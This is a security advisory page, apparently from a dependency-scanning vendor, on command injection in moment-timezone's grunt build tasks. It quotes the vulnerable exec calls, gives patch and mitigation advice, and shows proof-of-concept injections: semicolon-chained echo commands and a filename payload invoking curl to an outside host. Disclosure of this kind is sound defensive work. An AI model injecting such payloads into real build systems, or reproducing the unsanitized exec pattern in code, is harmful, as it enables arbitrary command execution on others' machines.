How severe is GHSA-56x4-j7p9-fcf9?

No CVSS score has been assigned to GHSA-56x4-j7p9-fcf9 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-56x4-j7p9-fcf9?

GHSA-56x4-j7p9-fcf9 affects the following packages: moment-timezone (npm). Ecosystems affected: npm.

How do I fix GHSA-56x4-j7p9-fcf9?

Update moment-timezone to 0.5.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-56x4-j7p9-fcf9 is resolved across your whole dependency graph.

How do I detect GHSA-56x4-j7p9-fcf9 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment-timezone, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-56x4-j7p9-fcf9 if there is no patch (or I can't update yet)?

Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Is GHSA-56x4-j7p9-fcf9 actively exploited in the wild?

No public exploit code has been indexed for GHSA-56x4-j7p9-fcf9 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-56x4-j7p9-fcf9 published, and has it been updated?

GHSA-56x4-j7p9-fcf9 was published on August 30, 2022. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

Command Injection in moment-timezoneGHSA-56x4-j7p9-fcf9

Fix: moment/moment-timezone@ce955a3

GHSA-56x4-j7p9-fcf9 is a remote code execution vulnerability in moment-timezone. A fix is available for moment-timezone — see the affected versions and patch details below.

Published

Aug 30, 2022

Updated

Aug 30, 2022

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Aug 30, 2022 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

11Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream

moment-timezonenpm

9.7Mdownloads / week

Description

Impact

All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.

if Alice uses tzdata pipeline to package moment-timezone on her own (for example via grunt data:2014d, where 2014d stands for the version of the tzdata to be used from IANA's website),
and Alice let's Mallory select the version (2014d in our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task

Am I affected?

Do you build custom versions of moment-timezone with grunt?

If no, you're not affected.

Do you allow a third party to specify which particular version you want build?

If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.

Description

Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint

The tasks/data-download.js script takes in a parameter from grunt and uses it to form a command line which is then executed:

6  module.exports = function (grunt) {
7      grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8          version = version || 'latest';

10          var done  = this.async(),
11              src   = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12              curl  = path.resolve('temp/curl', version, 'data.tar.gz'),
13              dest  = path.resolve('temp/download', version);
...
24          exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {

Ordinarily, one one run this script using something like grunt data-download:2014d, in which case version would have the value 2014d. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz

Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag

Command Injection via data-zdump.js

The tasks/data-zdump.js script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.

15              files     = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27          function next () {
...
33              var file = files.pop(),
34                  src  = path.join(zicBase, file),
35                  dest = path.join(zdumpBase, file);
36              exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {

In this case, an attacker able to add a file to temp/zic/2014d (for example) with a filename like Z; curl www.example.com would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.

Command Injection via data-zic.js

Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.

10          var done  = this.async(),
11              dest  = path.resolve('temp/zic', version),
...
22              var file = files.shift(),
23                  src = path.resolve('temp/download', version, file);
24
25              exec('zic -d ' + dest + ' ' + src, function (err) {

As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.

root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo  /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...

root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi

Patches

The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec to execFile so arbitrary bash fragments won't be executed any more.

References

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`moment-timezone`	≥ 0.1.0&&< 0.5.35	0.5.35`npm install moment-timezone@0.5.35`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment-timezone, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update moment-timezone to 0.5.35 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-56x4-j7p9-fcf9 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Impact All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection. * if Alice uses tzdata pipeline to package moment-timezone on her own (for example via `grunt data:2014d`, where `2014d` stands for the version of the tzdata to be used from IANA's website), * and Alice let's Mallory select the version (`2014d` in our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task #### Am I affected? ##### Do you build custom versions of moment-timezone with grunt? If no, you're n

O3 Security · Impact-Aware SCA

Is GHSA-56x4-j7p9-fcf9 in your dependencies?

Find it across npm, including transitive dependencies.

Scan my dependencies How O3 SCA works

Command Injection in moment-timezoneGHSA-56x4-j7p9-fcf9

Real-World Exposure

Description

Impact

Am I affected?

Do you build custom versions of moment-timezone with grunt?

Do you allow a third party to specify which particular version you want build?

Description

Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint

Command Injection via data-zdump.js

Command Injection via data-zic.js

Patches

References

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

Frequently Asked Questions

Is GHSA-56x4-j7p9-fcf9 in your dependencies?